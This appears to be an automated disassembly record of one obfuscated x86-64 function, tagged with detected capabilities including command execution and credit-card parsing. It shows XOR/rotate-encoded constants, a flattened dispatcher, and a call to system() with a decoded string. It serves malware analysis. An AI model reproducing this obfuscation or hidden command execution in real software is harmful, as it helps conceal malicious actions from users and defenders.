Function at 0x1400d0d9f
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Execute command
Get common file path
Hash data using murmur3
Manually build aes constants
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xeb259f67
pushf
not eax
add eax, 0xaf03b8d4
xor eax, 0xba97a7ce
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc88c90b3
xor eax, 0xa8105034
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x890057de
xor eax, 0xe4de90f1
rol eax, 0x13
popf
pushf
not eax
add eax, 0xf4483b5c
xor eax, 0xabcac47d
rol eax, 0xb9
popf
cmp eax, 0x29
jne 0x1400d0e02
popf
pop rax
jmp 0x1400d393f
cmp eax, 0x48
jne 0x1400d0e11
popf
pop rax
jmp 0x1400d5d2d
cmp eax, 0x3f
jne 0x1400d0e20
popf
pop rax
jmp 0x1400d5427
cmp eax, 1
jne 0x1400d0e2f
popf
pop rax
jmp 0x1400d14d6
cmp eax, 0x4a
jne 0x1400d0e3e
popf
pop rax
jmp 0x1400d5dc6
cmp eax, 0x1a
jne 0x1400d0e4d
popf
pop rax
jmp 0x1400d26cc
cmp eax, 0x44
jne 0x1400d0e5c
popf
pop rax
jmp 0x1400d5b15
cmp eax, 0x31
jne 0x1400d0e6b
popf
pop rax
jmp 0x1400d436f
cmp eax, 0x40
jne 0x1400d0e7a
popf
pop rax
jmp 0x1400d549c
cmp eax, 8
jne 0x1400d0e89
popf
pop rax
jmp 0x1400d1d2a
cmp eax, 0x2a
jne 0x1400d0e98
popf
pop rax
jmp 0x1400d3a68
cmp eax, 0x17
jne 0x1400d0ea7
popf
pop rax
jmp 0x1400d24a5
cmp eax, 0x1c
jne 0x1400d0eb6
popf
pop rax
jmp 0x1400d273e
cmp eax, 0x2e
jne 0x1400d0ec5
popf
pop rax
jmp 0x1400d4169
cmp eax, 0x18
jne 0x1400d0ed4
popf
pop rax
jmp 0x1400d2570
cmp eax, 0x2b
jne 0x1400d0ee3
popf
pop rax
jmp 0x1400d3d80
cmp eax, 0x1b
jne 0x1400d0ef2
popf
pop rax
jmp 0x1400d2706
cmp eax, 0x2d
jne 0x1400d0f01
popf
pop rax
jmp 0x1400d410e
cmp eax, 0x23
jne 0x1400d0f10
popf
pop rax
jmp 0x1400d3356
cmp eax, 0x25
jne 0x1400d0f1f
popf
pop rax
jmp 0x1400d35db
cmp eax, 0x43
jne 0x1400d0f2e
popf
pop rax
jmp 0x1400d5755
cmp eax, 0x13
jne 0x1400d0f3d
popf
pop rax
jmp 0x1400d2257
cmp eax, 0x33
jne 0x1400d0f4c
popf
pop rax
jmp 0x1400d45ff
cmp eax, 0x24
jne 0x1400d0f5b
popf
pop rax
jmp 0x1400d3538
cmp eax, 0x1e
jne 0x1400d0f6a
popf
pop rax
jmp 0x1400d2ab1
cmp eax, 0xc
jne 0x1400d0f79
popf
pop rax
jmp 0x1400d1f94
cmp eax, 0x26
jne 0x1400d0f88
popf
pop rax
jmp 0x1400d3642
cmp eax, 0x27
jne 0x1400d0f97
popf
pop rax
jmp 0x1400d368a
cmp eax, 0x30
jne 0x1400d0fa6
popf
pop rax
jmp 0x1400d4300
cmp eax, 0x10
jne 0x1400d0fb5
popf
pop rax
jmp 0x1400d2163
cmp eax, 0x37
jne 0x1400d0fc4
popf
pop rax
jmp 0x1400d4a0e
cmp eax, 9
jne 0x1400d0fd3
popf
pop rax
jmp 0x1400d1dba
cmp eax, 0x39
jne 0x1400d0fe2
popf
pop rax
jmp 0x1400d4ad7
cmp eax, 0x16
jne 0x1400d0ff1
popf
pop rax
jmp 0x1400d2433
cmp eax, 0x3b
jne 0x1400d1000
popf
pop rax
jmp 0x1400d4f69
cmp eax, 0x4b
jne 0x1400d100f
popf
pop rax
jmp 0x1400d5dff
cmp eax, 0x36
jne 0x1400d101e
popf
pop rax
jmp 0x1400d4994
cmp eax, 0x14
jne 0x1400d102d
popf
pop rax
jmp 0x1400d22ed
cmp eax, 0x46
jne 0x1400d103c
popf
pop rax
jmp 0x1400d5c3e
cmp eax, 0x3d
jne 0x1400d104b
popf
pop rax
jmp 0x1400d52c6
cmp eax, 2
jne 0x1400d105a
popf
pop rax
jmp 0x1400d18b3
cmp eax, 0x47
jne 0x1400d1069
popf
pop rax
jmp 0x1400d5ce0
cmp eax, 0x41
jne 0x1400d1078
popf
pop rax
jmp 0x1400d550b
cmp eax, 0x11
jne 0x1400d1087
popf
pop rax
jmp 0x1400d219e
cmp eax, 0x35
jne 0x1400d1096
popf
pop rax
jmp 0x1400d4904
cmp eax, 0x3a
jne 0x1400d10a5
popf
pop rax
jmp 0x1400d4c2c
cmp eax, 0x12
jne 0x1400d10b4
popf
pop rax
jmp 0x1400d21eb
cmp eax, 0x21
jne 0x1400d10c3
popf
pop rax
jmp 0x1400d30e7
cmp eax, 0x38
jne 0x1400d10d2
popf
pop rax
jmp 0x1400d4a69
cmp eax, 0xb
jne 0x1400d10e1
popf
pop rax
jmp 0x1400d1ee8
cmp eax, 0xf
jne 0x1400d10f0
popf
pop rax
jmp 0x1400d20d2
cmp eax, 0x15
jne 0x1400d10ff
popf
pop rax
jmp 0x1400d2386
cmp eax, 5
jne 0x1400d110e
popf
pop rax
jmp 0x1400d1bba
cmp eax, 6
jne 0x1400d111d
popf
pop rax
jmp 0x1400d1c26
cmp eax, 0x22
jne 0x1400d112c
popf
pop rax
jmp 0x1400d3199
cmp eax, 0x49
jne 0x1400d113b
popf
pop rax
jmp 0x1400d5d65
cmp eax, 0x1f
jne 0x1400d114a
popf
pop rax
jmp 0x1400d2d92
cmp eax, 4
jne 0x1400d1159
popf
pop rax
jmp 0x1400d1abc
cmp eax, 0x2f
jne 0x1400d1168
popf
pop rax
jmp 0x1400d4278
cmp eax, 0x28
jne 0x1400d1177
popf
pop rax
jmp 0x1400d371e
cmp eax, 0x3e
jne 0x1400d1186
popf
pop rax
jmp 0x1400d5334
cmp eax, 0x45
jne 0x1400d1195
popf
pop rax
jmp 0x1400d5b99
cmp eax, 0x2c
jne 0x1400d11a4
popf
pop rax
jmp 0x1400d3ecc
cmp eax, 3
jne 0x1400d11b3
popf
pop rax
jmp 0x1400d1a26
cmp eax, 0x19
jne 0x1400d11c2
popf
pop rax
jmp 0x1400d2617
cmp eax, 0x1d
jne 0x1400d11d1
popf
pop rax
jmp 0x1400d298a
cmp eax, 0x34
jne 0x1400d11e0
popf
pop rax
jmp 0x1400d4696
cmp eax, 0x32
jne 0x1400d11ef
popf
pop rax
jmp 0x1400d4596
cmp eax, 0xe
jne 0x1400d11fe
popf
pop rax
jmp 0x1400d2085
cmp eax, 0x42
jne 0x1400d120d
popf
pop rax
jmp 0x1400d5600
cmp eax, 7
jne 0x1400d121c
popf
pop rax
jmp 0x1400d1c92
cmp eax, 0x20
jne 0x1400d122b
popf
pop rax
jmp 0x1400d300a
cmp eax, 0
jne 0x1400d123a
popf
pop rax
jmp 0x1400d1267
cmp eax, 0x3c
jne 0x1400d1249
popf
pop rax
jmp 0x1400d507c
cmp eax, 0xd
jne 0x1400d1258
popf
pop rax
jmp 0x1400d201a
cmp eax, 0xa
jne 0x1400d1267
popf
pop rax
jmp 0x1400d1ed7
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rbp + 0x330], rax
xor r13d, r13d
lea rdx, [rbp + 0x120]
mov ecx, 0x4499fe68
pushf
not ecx
add ecx, 0xf5b6408a
xor ecx, 0x9a9d451f
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0x95b431dc
xor ecx, 0x99d11d27
rol ecx, 0x1c
popf
pushf
not ecx
add ecx, 0xee365253
xor ecx, 0xbdaf87c8
rol ecx, 0xf3
popf
jmp 0x1400d12ee
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
movabs r12, 0x6346cbe6158ca3c
pushf
not r12
add r12, 0x6bf4027b
xor r12, 0x78ec26fd
rol r12, 0xef
popf
pushf
not r12
add r12, 0x63b74850
xor r12, 0x685d30fb
rol r12, 0x99
popf
pushf
not r12
add r12, 0x6c54950c
xor r12, 0x70624eac
rol r12, 0xf2
popf
pushf
not r12
add r12, 0x4facfe5c
xor r12, 0x788a7e4a
rol r12, 0x99
popf
movabs r14, 0xcec8db41ee7a5367
pushf
not r14
add r14, 0x75ea58d7
xor r14, 0x4d6b2618
rol r14, 0xc8
popf
pushf
not r14
add r14, 0x6ace8ec2
xor r14, 0x4c5784d0
rol r14, 0xbe
popf
movabs r15, 0x9d7a66dea1b5a2f3
pushf
not r15
add r15, 0x44236f5f
xor r15, 0x545670e3
rol r15, 0xbb
popf
pushf
not r15
add r15, 0x4c5172e1
xor r15, 0x7da6955a
rol r15, 0xf5
popf
pushf
not r15
add r15, 0x7dd8f390
xor r15, 0x707a5bcb
rol r15, 0x26
popf
movabs rsi, 0xd281ea22cf0056ec
pushf
not rsi
add rsi, 0x4df29b00
xor rsi, 0x789de5cc
rol rsi, 0xf7
popf
pushf
not rsi
add rsi, 0x50bfd998
xor rsi, 0x71525d58
rol rsi, 0x5f
popf
test eax, eax
jne 0x1400d147d
push rax
pushf
mov eax, 0x12cd69d0
pushf
not eax
add eax, 0xe3c7df2c
xor eax, 0xb0ca5c30
rol eax, 0xff
popf
pushf
not eax
add eax, 0x9d15e48b
xor eax, 0x8683f015
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x9da0f066
xor eax, 0xf53cf45f
rol eax, 0x69
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x44ba9171
pushf
not eax
add eax, 0xa9b5ca9f
xor eax, 0xfe92cc41
rol eax, 0xda
popf
pushf
not eax
add eax, 0xd8c53fcb
xor eax, 0xd83c52b2
rol eax, 0xf
popf
pushf
not eax
add eax, 0xa4cb1693
xor eax, 0xb6e6139d
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xc44c34c5
xor eax, 0xb4000578
rol eax, 0x36
popf
jmp 0x1400d0df3
movabs rax, 0x31d2a304836f444e
pushf
not rax
add rax, 0x4e1912a1
xor rax, 0x77995780
rol rax, 0x86
popf
pushf
not rax
add rax, 0x5f8738f6
xor rax, 0x558b51aa
rol rax, 9
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x72e833e3a2e0bb69
pushf
not rax
add rax, 0x52164b5e
xor rax, 0x6eeaec51
rol rax, 0x6b
popf
pushf
not rax
add rax, 0x65447984
xor rax, 0x7ce53e6f
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x7419f5f9
xor rax, 0x40f27b60
rol rax, 0x5e
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xfc183cb217923a2c
pushf
not rax
add rax, 0x5cc5900d
xor rax, 0x6b4575b3
rol rax, 0x63
popf
pushf
not rax
add rax, 0x4b42e170
xor rax, 0x74c16d1d
rol rax, 0x14
popf
mov qword [rbp + 0xb0], rax
movabs rax, 0x47fc314836ea0361
pushf
not rax
add rax, 0x49e08f7b
xor rax, 0x557aaa1b
rol rax, 0x81
popf
pushf
not rax
add rax, 0x765f1b2c
xor rax, 0x79b56d40
rol rax, 0xc9
popf
mov qword [rbp + 0xb8], rax
movabs rax, 0x7f8fbb2e176c161e
pushf
not rax
add rax, 0x4b5906e0
xor rax, 0x6b1d9282
rol rax, 0xab
popf
pushf
not rax
add rax, 0x7e62da1b
xor rax, 0x686024eb
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x4c5f2084
xor rax, 0x633bcde5
rol rax, 0xd7
popf
pushf
not rax
add rax, 0x4b03be8d
xor rax, 0x76ffe75c
rol rax, 0x5d
popf
mov qword [rbp + 0xc0], rax
movabs rax, 0x25378a17e6e40bb1
pushf
not rax
add rax, 0x4d91fd19
xor rax, 0x765c9854
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x481eaf6a
xor rax, 0x48b39886
rol rax, 0xea
popf
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r14
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], rsi
movabs rax, 0x3ce38c09a0b2a9ee
pushf
not rax
add rax, 0x79be2b6d
xor rax, 0x41677cde
rol rax, 0x55
popf
pushf
not rax
add rax, 0x716b471b
xor rax, 0x557e0815
rol rax, 0xbd
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x2bff32cd7ee99012
pushf
not rax
add rax, 0x73c9bb5e
xor rax, 0x48e59519
rol rax, 0xc7
popf
pushf
not rax
add rax, 0x76a0c13a
xor rax, 0x6a1b3e43
rol rax, 0x9d
popf
mov qword [rbp + 0x118], rax
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0xa0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8f2a
mov rbx, rax
jmp 0x1400d178b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d1797
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x187c4256f]
pushf
sub rdx, 0x47c3a4df
popf
mov rcx, rax
jmp 0x1400d17b3
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0x28d088848d86a55
pushf
not rax
add rax, 0x4211e865
xor rax, 0x79ecc30d
rol rax, 0xa4
popf
pushf
not rax
add rax, 0x4b24c25a
xor rax, 0x6c936314
rol rax, 0x45
popf
pushf
not rax
add rax, 0x65fcf6e1
xor rax, 0x46fed0b3
rol rax, 0x6a
popf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], r14
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r14
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d1843
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d184a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.1400e25f6
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movabs rax, 0x5c1eecb71f04c65e
pushf
not rax
add rax, 0x6accbfca
xor rax, 0x72c47235
rol rax, 0x47
popf
pushf
not rax
add rax, 0x472a3aa5
xor rax, 0x412f13de
rol rax, 0xa7
popf
mov qword [rsp + 0x30], rax
movabs rax, 0xcc7bda8d5ecc3bd7
pushf
not rax
add rax, 0x7de85671
xor rax, 0x7457ede3
rol rax, 0x99
popf
pushf
not rax
add rax, 0x7ff47c0d
xor rax, 0x4bc2619c
rol rax, 0x81
popf
mov qword [rsp + 0x38], rax
movabs rax, 0x3ce6ba249c566a5
pushf
not rax
add rax, 0x5e601678
xor rax, 0x5cc700e2
rol rax, 0x8e
popf
pushf
not rax
add rax, 0x5df27251
xor rax, 0x479c61b6
rol rax, 0x5a
popf
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r14
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rsp + 0x40], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
lea rax, [rbp + 0x120]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
nop word [rax + rax]
push rax
pushf
mov eax, 0xeae82086
pushf
not eax
add eax, 0x9b579c18
xor eax, 0xc5a59196
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xf6a43e31
xor eax, 0x91ac3ea6
rol eax, 5
popf
pushf
not eax
add eax, 0xd1d2de7e
xor eax, 0xb7e2a45c
rol eax, 0x6f
popf
jmp 0x1400d0df3
inc rbx
cmp word [rax + rbx*2], r13w
jne 0x1400d1a76
push rax
pushf
mov eax, 0xa82e44c
pushf
not eax
add eax, 0xfcb38d81
xor eax, 0xc5f362f7
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xb8227073
xor eax, 0xcd9d6b7c
rol eax, 0x42
popf
pushf
not eax
add eax, 0x8eb878dd
xor eax, 0xf00814e4
rol eax, 0x97
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xd0e75271
pushf
not eax
add eax, 0xf9721f5e
xor eax, 0xd98ed970
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xd8dcdc1b
xor eax, 0xba81ba66
rol eax, 0x87
popf
pushf
not eax
add eax, 0xfd042449
xor eax, 0xa5c4aa47
rol eax, 0x2d
popf
jmp 0x1400d0df3
movabs rax, 0x1876027fe57bfe
pushf
not rax
add rax, 0x5386b097
xor rax, 0x6351f517
rol rax, 0x2f
popf
pushf
not rax
add rax, 0x421fb662
xor rax, 0x7d215fdf
rol rax, 0xf
popf
pushf
not rax
add rax, 0x6fd30cf7
xor rax, 0x514842a5
rol rax, 0x4e
popf
mov qword [rbp + 0x80], rax
cmp rbx, rax
ja 0x1400d1b74
push rax
pushf
mov eax, 0xdaf5b7bc
pushf
not eax
add eax, 0xda6ba7e3
xor eax, 0xad32a2cd
rol eax, 0x80
popf
pushf
not eax
add eax, 0xa914b4c7
xor eax, 0xd68a3cbc
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xefa8f979
xor eax, 0x8f4831b8
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xf369f7cf
xor eax, 0xe916c21e
rol eax, 0x5e
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xbfd01155
pushf
not eax
add eax, 0xbd663d61
xor eax, 0xedde8157
rol eax, 0xca
popf
pushf
not eax
add eax, 0xcd43c00f
xor eax, 0x9b11dc32
rol eax, 0xba
popf
pushf
not eax
add eax, 0x84df5595
xor eax, 0x8819ff45
rol eax, 0xd6
popf
jmp 0x1400d0df3
cmp rbx, 7
ja 0x1400d1bf3
push rax
pushf
mov eax, 0x8f8783cc
pushf
not eax
add eax, 0xe291a7f0
xor eax, 0xabe859d7
rol eax, 0x74
popf
pushf
not eax
add eax, 0x862c85f1
xor eax, 0xa6dff7c9
rol eax, 0xf1
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x610a956d
pushf
not eax
add eax, 0xfb145582
xor eax, 0xcda363d2
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xbababc0a
xor eax, 0x87fd66f7
rol eax, 0x9e
popf
jmp 0x1400d0df3
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx + 0xd0], r13w
jmp 0x1400d221f
mov rcx, rbx
or rcx, 7
cmp rcx, rax
jbe 0x1400d1cd1
push rax
pushf
mov eax, 0x6b8a8c1a
pushf
not eax
add eax, 0xf314c881
xor eax, 0xa644531d
rol eax, 3
popf
pushf
not eax
add eax, 0xb6bcad54
xor eax, 0xa849313a
rol eax, 0xbd
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x858454c7
pushf
not eax
add eax, 0xcaa3b3a3
xor eax, 0x9fccc343
rol eax, 0x71
popf
pushf
not eax
add eax, 0xabf2d7f8
xor eax, 0x92f552cd
rol eax, 0xd
popf
pushf
not eax
add eax, 0xf02c7575
xor eax, 0xa61f5e54
rol eax, 0x59
popf
pushf
not eax
add eax, 0xae9631e7
xor eax, 0xb90e2250
rol eax, 0x1d
popf
jmp 0x1400d0df3
movabs rcx, 0x72fb3821f98e4879
pushf
not rcx
add rcx, 0x63773705
xor rcx, 0x448f71ab
rol rcx, 0x93
popf
pushf
not rcx
add rcx, 0x462475f2
xor rcx, 0x4d200dcb
rol rcx, 0xe0
popf
pushf
not rcx
add rcx, 0x44f90002
xor rcx, 0x7c1596c1
rol rcx, 0x76
popf
add rcx, rcx
jmp 0x1400d1ee8
mov rax, rcx
mov edx, 0x3d80cc61
pushf
not edx
add edx, 0xc429aa7b
xor edx, 0x8b07dc78
rol edx, 0xb5
popf
pushf
not edx
add edx, 0xf4d23b49
xor edx, 0x84961ae8
rol edx, 0x92
popf
pushf
not edx
add edx, 0xccf4275d
xor edx, 0xcef376c0
rol edx, 0x22
popf
cmp rcx, rdx
cmovb rax, rdx
mov qword [rbp + 0x80], rax
lea rdx, [rax + 1]
movabs rcx, 0x2728aad73c4653
pushf
not rcx
add rcx, 0x75ca5855
xor rcx, 0x547395fe
rol rcx, 0x75
popf
pushf
not rcx
add rcx, 0x4f44c5e7
xor rcx, 0x462f4e36
rol rcx, 0x35
popf
pushf
not rcx
add rcx, 0x510323ce
xor rcx, 0x4ba530b7
rol rcx, 0x6d
popf
cmp rdx, rcx
ja 0x1400d1ea4
push rax
pushf
mov eax, 0x56c21074
pushf
not eax
add eax, 0xd21feaee
xor eax, 0xe8c16450
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x9b9e425f
xor eax, 0x86d4d3ff
rol eax, 0x54
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x4831f71c
pushf
not eax
add eax, 0xe076aba9
xor eax, 0x97df4e1d
rol eax, 0xca
popf
pushf
not eax
add eax, 0x976a9c12
xor eax, 0xa78057f6
rol eax, 0x61
popf
jmp 0x1400d0df3
lea rcx, [rdx + rdx]
cmp rcx, 0x1000
jb 0x1400d20d2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400d1f4e
push rax
pushf
mov eax, 0xa66f02c1
pushf
not eax
add eax, 0x929bffb9
xor eax, 0xc83aee55
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x8f646c5a
xor eax, 0x8b59cf0d
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x8cc659cf
xor eax, 0x9d450dfd
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xa8ce16a9
xor eax, 0xd5f790ac
rol eax, 0xc8
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xd78473bf
pushf
not eax
add eax, 0xa8e3fdf0
xor eax, 0xb7191327
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x994410e4
xor eax, 0x82b520db
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x9be6df19
xor eax, 0xa266a709
rol eax, 0x90
popf
jmp 0x1400d0df3
mov rcx, rax
call fcn.14009b9d3
test rax, rax
je 0x1400d1fd4
push rax
pushf
mov eax, 0x5d29c195
pushf
not eax
add eax, 0xde043df9
xor eax, 0x888d07ca
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xb7cfcfc1
xor eax, 0xf9fb4695
rol eax, 0xd8
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xa2bc03f
pushf
not eax
add eax, 0xc0975309
xor eax, 0xa2d3e53a
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xf70c8c39
xor eax, 0xb87a5177
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x90955e68
xor eax, 0xf5a1b7e5
rol eax, 5
popf
jmp 0x1400d0df3
lea r13, [rax + 0x27]
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
jmp 0x1400d219e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400d210a
push rax
pushf
mov eax, 0x31e594ba
pushf
not eax
add eax, 0x8e94b459
xor eax, 0xcd99c8c1
rol eax, 0x89
popf
pushf
not eax
add eax, 0xfbbee8d1
xor eax, 0x8e1029a6
rol eax, 0xa1
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xbaf2f74
pushf
not eax
add eax, 0x9ff3eccc
xor eax, 0xf79f6cd4
rol eax, 0x31
popf
pushf
not eax
add eax, 0x9cd5c7c6
xor eax, 0xda2273b3
rol eax, 0x27
popf
pushf
not eax
add eax, 0xb44a5de7
xor eax, 0xe4c61a8e
rol eax, 0x61
popf
pushf
not eax
add eax, 0x8bc5e88a
xor eax, 0xd91b5cd3
rol eax, 0x13
popf
jmp 0x1400d0df3
call fcn.14009b9d3
mov r13, rax
push rax
pushf
mov eax, 0xb651ac92
pushf
not eax
add eax, 0xe1bd56ce
xor eax, 0xd7b5835b
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xd28c5474
xor eax, 0xe66cb8aa
rol eax, 0x42
popf
jmp 0x1400d0df3
mov rax, qword [rbp + 0x80]
push rax
pushf
mov eax, 0x97f5f51
pushf
not eax
add eax, 0xb4ae8124
xor eax, 0xa200660e
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xbe5a40a8
xor eax, 0xcd9b896a
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xe5a639d6
xor eax, 0xb9e74df4
rol eax, 0x75
popf
jmp 0x1400d0df3
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], rax
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x120]
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov word [rbx + r13], ax
xor r13d, r13d
lea rax, [rsp + 0x30]
push rax
pushf
mov eax, 0xf1fb5ba1
pushf
not eax
add eax, 0xe86d1a92
xor eax, 0xf1cefd7c
rol eax, 0x16
popf
pushf
not eax
add eax, 0xc515791d
xor eax, 0xe235894c
rol eax, 0x6f
popf
jmp 0x1400d0df3
inc rdi
cmp word [rax + rdi*2], 0
jne 0x1400d22a7
push rax
pushf
mov eax, 0x7366dcb
pushf
not eax
add eax, 0x8f1f0c30
xor eax, 0xc756929b
rol eax, 0xd
popf
pushf
not eax
add eax, 0xdc3aec72
xor eax, 0x9f846870
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xeac1b5c8
xor eax, 0xfd366524
rol eax, 0x11
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xffd7685f
pushf
not eax
add eax, 0xec4e7cf1
xor eax, 0xd5a46645
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xdd88eaf6
xor eax, 0xf30bcfab
rol eax, 0x91
popf
pushf
not eax
add eax, 0xf955e970
xor eax, 0xf720580c
rol eax, 0xee
popf
jmp 0x1400d0df3
mov rcx, qword [rbp + 0xe0]
mov qword [rbp + 0x80], rcx
mov rdx, qword [rbp + 0xe8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400d2340
push rax
pushf
mov eax, 0xe29c519e
pushf
not eax
add eax, 0xa2ad535f
xor eax, 0xf0bb22d2
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x99425e9d
xor eax, 0xc399d254
rol eax, 0xe8
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x72fd2c8
pushf
not eax
add eax, 0xb23215b3
xor eax, 0xa689f453
rol eax, 0x62
popf
pushf
not eax
add eax, 0xfa81cbcc
xor eax, 0x86af3c18
rol eax, 0x24
popf
pushf
not eax
add eax, 0xa08316cd
xor eax, 0xb0a646da
rol eax, 0x43
popf
jmp 0x1400d0df3
lea rax, [rcx + rdi]
mov qword [rbp + 0xe0], rax
lea rbx, [rbp + 0xd0]
cmp rdx, 7
cmova rbx, qword [rbp + 0xd0]
lea rcx, [rbx + rcx*2]
lea r8, [rdi + rdi]
lea rdx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x80]
push rdi
not rdi
sub rax, rdi
pop rdi
sub rax, 1
mov word [rbx + rax*2], r13w
lea rax, [rbp + 0xd0]
jmp 0x1400d24a5
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x30]
mov rdx, rdi
lea rcx, [rbp + 0xd0]
call fcn.1400b61d8
push rax
pushf
mov eax, 0x11fab9f
pushf
not eax
add eax, 0x9fad2986
xor eax, 0xa6b46b2e
rol eax, 8
popf
pushf
not eax
add eax, 0x813d3f79
xor eax, 0xa1ef2db3
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xda16f0d6
xor eax, 0x9b3f50bf
rol eax, 0x56
popf
pushf
not eax
add eax, 0xe9896f11
xor eax, 0x904a2f33
rol eax, 0xe1
popf
jmp 0x1400d0df3
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
